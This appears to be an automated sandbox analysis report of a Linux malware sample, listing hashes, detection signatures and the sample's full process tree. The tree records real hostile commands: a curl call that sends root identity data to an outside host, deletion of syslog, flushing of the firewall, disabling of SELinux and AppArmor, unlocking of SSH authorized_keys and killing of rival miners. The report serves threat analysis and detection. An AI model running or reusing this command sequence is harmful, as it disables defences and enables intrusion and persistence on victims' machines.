Analysis
-
max time kernel
150s -
max time network
143s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240226-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
19-04-2024 00:44
Behavioral task
behavioral1
Sample
f92072637a0d5eede9213405cca50f48_JaffaCakes118
Resource
ubuntu1804-amd64-20240226-en
Behavioral task
behavioral2
Sample
f92072637a0d5eede9213405cca50f48_JaffaCakes118
Resource
debian9-armhf-20240226-en
Behavioral task
behavioral3
Sample
f92072637a0d5eede9213405cca50f48_JaffaCakes118
Resource
debian9-mipsbe-20240226-en
Behavioral task
behavioral4
Sample
f92072637a0d5eede9213405cca50f48_JaffaCakes118
Resource
debian9-mipsel-20240226-en
General
-
Target
f92072637a0d5eede9213405cca50f48_JaffaCakes118
-
Size
61KB
-
MD5
f92072637a0d5eede9213405cca50f48
-
SHA1
c326fafaf0b92a501e99286f7ceb4a0313f97eae
-
SHA256
e958305ce1aba8b1314c35d65ce711e9336d55e1b445560adc053c4446a32d60
-
SHA512
4d1ae93e239790a484785df89f662fa2b04accc89d79e6367ad7c84731b9b53badaa9afba4d0281dabcdc5d3a94c25f901b86e4dfaec1706cf63b5e8c4100afb
-
SSDEEP
1536:8F2cc2/ndOQvL0KKBoLdAkKFOmm5air0TIe:8F2ccQGoL2v47ccyIe
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
Processes:
ioc pid Process /usr/bin/tntrecht 2376 -
Flushes firewall rules 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
Processes:
iptablespid Process 736 iptables -
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
Processes:
f92072637a0d5eede9213405cca50f48_JaffaCakes118description ioc Process File opened for modification /etc/resolv.conf f92072637a0d5eede9213405cca50f48_JaffaCakes118 -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
Processes:
xargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargschattrxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargspid Process 1109 xargs 1470 xargs 1676 xargs 2117 949 xargs 1011 xargs 1614 xargs 1638 xargs 833 xargs 1266 xargs 1662 xargs 2122 920 xargs 1592 xargs 846 xargs 1563 xargs 1674 xargs 1722 xargs 1977 1980 2293 971 xargs 1548 xargs 1276 xargs 1896 1958 2119 1071 xargs 1249 xargs 1660 xargs 1712 xargs 2047 1390 xargs 1512 xargs 1350 xargs 1518 xargs 1670 xargs 1964 733 chattr 1332 xargs 1618 xargs 1965 2067 2268 2280 2284 854 xargs 1578 xargs 2298 1972 2039 1533 xargs 2275 1963 2011 1370 xargs 1610 xargs 1528 xargs 2300 1306 xargs 1500 xargs 2003 1021 xargs 1395 xargs -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
description ioc Process File opened for modification /etc/crontab -
Disables AppArmor 52 IoCs
Disables AppArmor security module.
Processes:
systemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlpid Process 765 systemctl 2068 2096 2097 2068 2103 765 systemctl 2071 2068 2106 2088 765 systemctl 2087 2091 765 systemctl 2100 2081 2068 2105 2088 2079 2082 2088 2076 2095 785 systemctl 2085 2101 2088 2093 2088 784 systemctl 2073 2084 2086 2068 2077 2078 2080 2317 2099 2104 765 systemctl 2083 2088 2107 786 systemctl 2075 2102 765 systemctl 2068 2098 -
Disables SELinux 16 IoCs
Disables SELinux security module.
Processes:
grepkillkillkillkillkillkillkillkillgrepkillkillsetenforcekillgrepkillpid Process 1107 grep 1593 kill 936 kill 1593 kill 1593 kill 1593 kill 936 kill 936 kill 936 kill 1571 grep 1593 kill 1593 kill 762 setenforce 936 kill 1247 grep 936 kill -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 64 IoCs
Processes:
pspspspspgreppgreppspspgreppgreppkillexim4pspspkillpspspspspgreppgreppkillpkillpspspspspgreppgreppkillpspspgreppkillpkillpkillpkillpspspgreppgreppgreppkillpkillpkillpspspspgreppgreppgreppspkillpkillpkillpspkillpkillpspspspgrepdescription ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online exim4 File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep -
Write file to user bin folder 1 TTPs 1 IoCs
Processes:
description ioc Process File opened for modification /usr/bin/tntrecht -
Enumerates kernel/hardware configuration 1 TTPs 51 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
Processes:
systemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctldescription ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
Processes:
pspspspgreppkillpspkillpspspspspspspgreppkillpspspgreppgreppkillpgreppkillpkillpspspgreppgreppkillpkillpspspspspkillpkillpspspgreppgreppspspsawkpspspgreppkillpkillpspspgreppkillpsdescription ioc Process File opened for reading /proc/9/cmdline ps File opened for reading /proc/15/status ps File opened for reading /proc/119/stat ps File opened for reading /proc/6/status pgrep File opened for reading /proc/169/status pkill File opened for reading /proc/19/cmdline ps File opened for reading /proc/5/cmdline pkill File opened for reading /proc/70/cmdline File opened for reading /proc/77/cmdline ps File opened for reading /proc/4/cmdline ps File opened for reading /proc/334/status ps File opened for reading /proc/78/stat ps File opened for reading /proc/72/status ps File opened for reading /proc/328/cmdline ps File opened for reading /proc/1528/cmdline ps File opened for reading /proc/333/cmdline pgrep File opened for reading /proc/119/cmdline pkill File opened for reading /proc/154/stat File opened for reading /proc/14/stat ps File opened for reading /proc/6/stat ps File opened for reading /proc/709/status pgrep File opened for reading /proc/11/status pgrep File opened for reading /proc/82/status pkill File opened for reading /proc/76/cmdline pgrep File opened for reading /proc/1740/status pkill File opened for reading /proc/10/cmdline pkill File opened for reading /proc/tty/drivers ps File opened for reading /proc/1102/stat ps File opened for reading /proc/669/stat ps File opened for reading /proc/332/cmdline pgrep File opened for reading /proc/6/status pgrep File opened for reading /proc/filesystems pkill File opened for reading /proc/36/status pkill File opened for reading /proc/20/stat ps File opened for reading /proc/154/cmdline ps File opened for reading /proc/5/stat ps File opened for reading /proc/9/cmdline ps File opened for reading /proc/12/status pkill File opened for reading /proc/699/cmdline ps File opened for reading /proc/326/cmdline pkill File opened for reading /proc/73/stat ps File opened for reading /proc/1247/status ps File opened for reading /proc/sys/kernel/pid_max ps File opened for reading /proc/376/cmdline pgrep File opened for reading /proc/332/status pgrep File opened for reading /proc/225/status ps File opened for reading /proc/82/stat ps File opened for reading /proc/8/stat ps File opened for reading /proc/self/maps awk File opened for reading /proc/17/cmdline ps File opened for reading /proc/664/stat ps File opened for reading /proc/21/status ps File opened for reading /proc/19/cmdline ps File opened for reading /proc/14/stat File opened for reading /proc/225/stat ps File opened for reading /proc/2/status ps File opened for reading /proc/5/status pgrep File opened for reading /proc/13/status pkill File opened for reading /proc/375/status pkill File opened for reading /proc/77/cmdline ps File opened for reading /proc/709/cmdline ps File opened for reading /proc/73/status pgrep File opened for reading /proc/74/cmdline pkill File opened for reading /proc/2/status ps -
Writes file to tmp directory 7 IoCs
Malware often drops required files in the /tmp directory.
Processes:
f92072637a0d5eede9213405cca50f48_JaffaCakes118description ioc Process File opened for modification /tmp/svcguard f92072637a0d5eede9213405cca50f48_JaffaCakes118 File opened for modification /tmp/svcworkmanager f92072637a0d5eede9213405cca50f48_JaffaCakes118 File opened for modification /tmp/svcupdates f92072637a0d5eede9213405cca50f48_JaffaCakes118 File opened for modification /tmp/kdevtmpfsi f92072637a0d5eede9213405cca50f48_JaffaCakes118 File opened for modification /tmp/redis2 f92072637a0d5eede9213405cca50f48_JaffaCakes118 File opened for modification /tmp/newsvc.sh f92072637a0d5eede9213405cca50f48_JaffaCakes118 File opened for modification /tmp/svcupdate f92072637a0d5eede9213405cca50f48_JaffaCakes118
Processes
-
/tmp/f92072637a0d5eede9213405cca50f48_JaffaCakes118/tmp/f92072637a0d5eede9213405cca50f48_JaffaCakes1181⤵
- Writes DNS configuration
- Writes file to tmp directory
PID:704 -
/usr/bin/idid2⤵PID:707
-
-
/usr/bin/curlcurl "http://oracle.zzhreceive.top/b2f628/idcheck/uid=0(root) gid=0(root) groups=0(root)"2⤵PID:713
-
-
/bin/mkdirmkdir /var/tmp/.system -p2⤵PID:729
-
-
/bin/rmrm -rf /var/log/syslog2⤵PID:730
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵PID:732
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵
- Attempts to change immutable files
PID:733
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:736
-
-
/usr/bin/sudosudo sysctl "kernel.nmi_watchdog=0"2⤵PID:740
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"3⤵PID:749
-
-
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"2⤵PID:750
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵PID:751
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵PID:752
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:753
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:754
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:755
-
-
/bin/psps aux2⤵PID:756
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:757
-
-
/bin/grepgrep -i "[y]unjing"2⤵PID:761
-
-
/bin/psps aux2⤵PID:760
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
PID:762
-
-
/usr/sbin/serviceservice apparmor stop2⤵PID:765
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:766
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:767
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:768
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:772
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
PID:773
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:774
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:775
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
PID:776
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
PID:777
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:778
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:779
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
PID:780
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:781
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
PID:782
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
PID:783
-
-
-
/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:765
-
-
/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:765
-
-
/usr/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:765
-
-
/usr/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:765
-
-
/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:765
-
-
/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:765
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:784
-
-
/bin/systemctlsystemctl stop aliyun2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:785
-
-
/bin/systemctlsystemctl disable aliyun.service2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:786
-
-
/bin/grepgrep 185.71.65.2382⤵PID:790
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:792
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:791
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:793
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:797
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:796
-
-
/bin/grepgrep 140.82.52.872⤵PID:795
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:798
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:804
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:803
-
-
/bin/grepgrep -v -2⤵PID:805
-
-
/bin/grepgrep :4432⤵PID:802
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:806
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:809
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:810
-
-
/bin/grepgrep :232⤵PID:808
-
-
/bin/grepgrep -v -2⤵PID:811
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:812
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:817
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:816
-
-
/bin/grepgrep -v -2⤵PID:818
-
-
/bin/grepgrep :4432⤵PID:815
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:819
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:824
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:823
-
-
/bin/grepgrep :1432⤵PID:822
-
-
/bin/grepgrep -v -2⤵PID:825
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:826
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:830
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:829
-
-
/bin/grepgrep -v -2⤵PID:832
-
-
/bin/grepgrep :22222⤵PID:828
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:833
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:838
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:837
-
-
/bin/grepgrep :33332⤵PID:836
-
-
/bin/grepgrep -v -2⤵PID:839
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:840
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:844
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:843
-
-
/bin/grepgrep :33892⤵PID:842
-
-
/bin/grepgrep -v -2⤵PID:845
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:846
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:852
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:851
-
-
/bin/grepgrep :55552⤵PID:850
-
-
/bin/grepgrep -v -2⤵PID:853
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:854
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:858
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:857
-
-
/bin/grepgrep :66662⤵PID:856
-
-
/bin/grepgrep -v -2⤵PID:859
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:860
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:865
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:864
-
-
/bin/grepgrep :66652⤵PID:863
-
-
/bin/grepgrep -v -2⤵PID:866
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:867
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:872
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:871
-
-
/bin/grepgrep :66672⤵PID:870
-
-
/bin/grepgrep -v -2⤵PID:873
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:874
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:878
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:879
-
-
/bin/grepgrep :77772⤵PID:877
-
-
/bin/grepgrep -v -2⤵PID:880
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:881
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:886
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:885
-
-
/bin/grepgrep :84442⤵PID:884
-
-
/bin/grepgrep -v -2⤵PID:887
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:888
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:892
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:891
-
-
/bin/grepgrep :33472⤵PID:890
-
-
/bin/grepgrep -v -2⤵PID:893
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:894
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:899
-
-
/bin/grepgrep :33332⤵PID:898
-
-
/bin/grepgrep -v grep2⤵PID:897
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:900
-
-
/bin/psps aux2⤵PID:896
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:906
-
-
/bin/grepgrep :55552⤵PID:905
-
-
/bin/grepgrep -v grep2⤵PID:904
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:903
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:907
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:911
-
-
/bin/grepgrep -v grep2⤵PID:910
-
-
/usr/bin/awkawk "{print \$2}"2⤵
- Reads runtime system information
PID:912
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:909
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:913
-
-
/bin/grepgrep log_2⤵PID:918
-
-
/bin/grepgrep -v grep2⤵PID:917
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:919
-
-
/bin/psps aux2⤵PID:916
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:920
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:926
-
-
/bin/grepgrep systemten2⤵PID:925
-
-
/bin/grepgrep -v grep2⤵PID:924
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:927
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:923
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:933
-
-
/bin/grepgrep netns2⤵PID:932
-
-
/bin/grepgrep -v grep2⤵PID:931
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:934
-
/usr/local/sbin/killkill -9 103⤵
- Disables SELinux
PID:936
-
-
/usr/local/bin/killkill -9 103⤵
- Disables SELinux
PID:936
-
-
/usr/sbin/killkill -9 103⤵
- Disables SELinux
PID:936
-
-
/usr/bin/killkill -9 103⤵
- Disables SELinux
PID:936
-
-
/sbin/killkill -9 103⤵
- Disables SELinux
PID:936
-
-
/bin/killkill -9 103⤵
- Disables SELinux
PID:936
-
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:930
-
-
/bin/grepgrep voltuned2⤵PID:940
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:941
-
-
/bin/grepgrep -v grep2⤵PID:939
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:942
-
-
/bin/psps aux2⤵PID:938
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:948
-
-
/bin/grepgrep darwin2⤵PID:947
-
-
/bin/grepgrep -v grep2⤵PID:946
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:949
-
-
/bin/psps aux2⤵PID:945
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:954
-
-
/bin/grepgrep /tmp/dl2⤵PID:953
-
-
/bin/grepgrep -v grep2⤵PID:952
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:955
-
-
/bin/psps aux2⤵PID:951
-
-
/bin/grepgrep /tmp/ddg2⤵PID:961
-
-
/bin/grepgrep -v grep2⤵PID:960
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:962
-
-
/bin/psps aux2⤵PID:959
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:963
-
-
/bin/grepgrep /tmp/pprt2⤵PID:969
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:970
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:971
-
-
/bin/grepgrep -v grep2⤵PID:968
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:967
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:978
-
-
/bin/grepgrep /tmp/ppol2⤵PID:977
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:979
-
-
/bin/grepgrep -v grep2⤵PID:976
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:975
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:985
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:984
-
-
/bin/grepgrep -v grep2⤵PID:983
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:986
-
-
/bin/psps aux2⤵PID:982
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:991
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:990
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:992
-
-
/bin/grepgrep -v grep2⤵PID:989
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:988
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:998
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:997
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:999
-
-
/bin/grepgrep -v grep2⤵PID:996
-
-
/bin/psps aux2⤵PID:995
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1004
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:1003
-
-
/bin/grepgrep -v grep2⤵PID:1002
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1005
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1001
-
-
/bin/grepgrep -v grep2⤵PID:1008
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1010
-
-
/bin/grepgrep 45.76.122.922⤵PID:1009
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1007
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1011
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1015
-
-
/bin/grepgrep 51.38.191.1782⤵PID:1014
-
-
/bin/grepgrep -v grep2⤵PID:1013
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1016
-
-
/bin/psps aux2⤵PID:1012
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1020
-
-
/bin/grepgrep 51.15.56.1612⤵PID:1019
-
-
/bin/grepgrep -v grep2⤵PID:1018
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1021
-
-
/bin/psps aux2⤵PID:1017
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1025
-
-
/bin/grepgrep 86s.jpg2⤵PID:1024
-
-
/bin/grepgrep -v grep2⤵PID:1023
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1026
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1022
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1030
-
-
/bin/grepgrep aGTSGJJp2⤵PID:1029
-
-
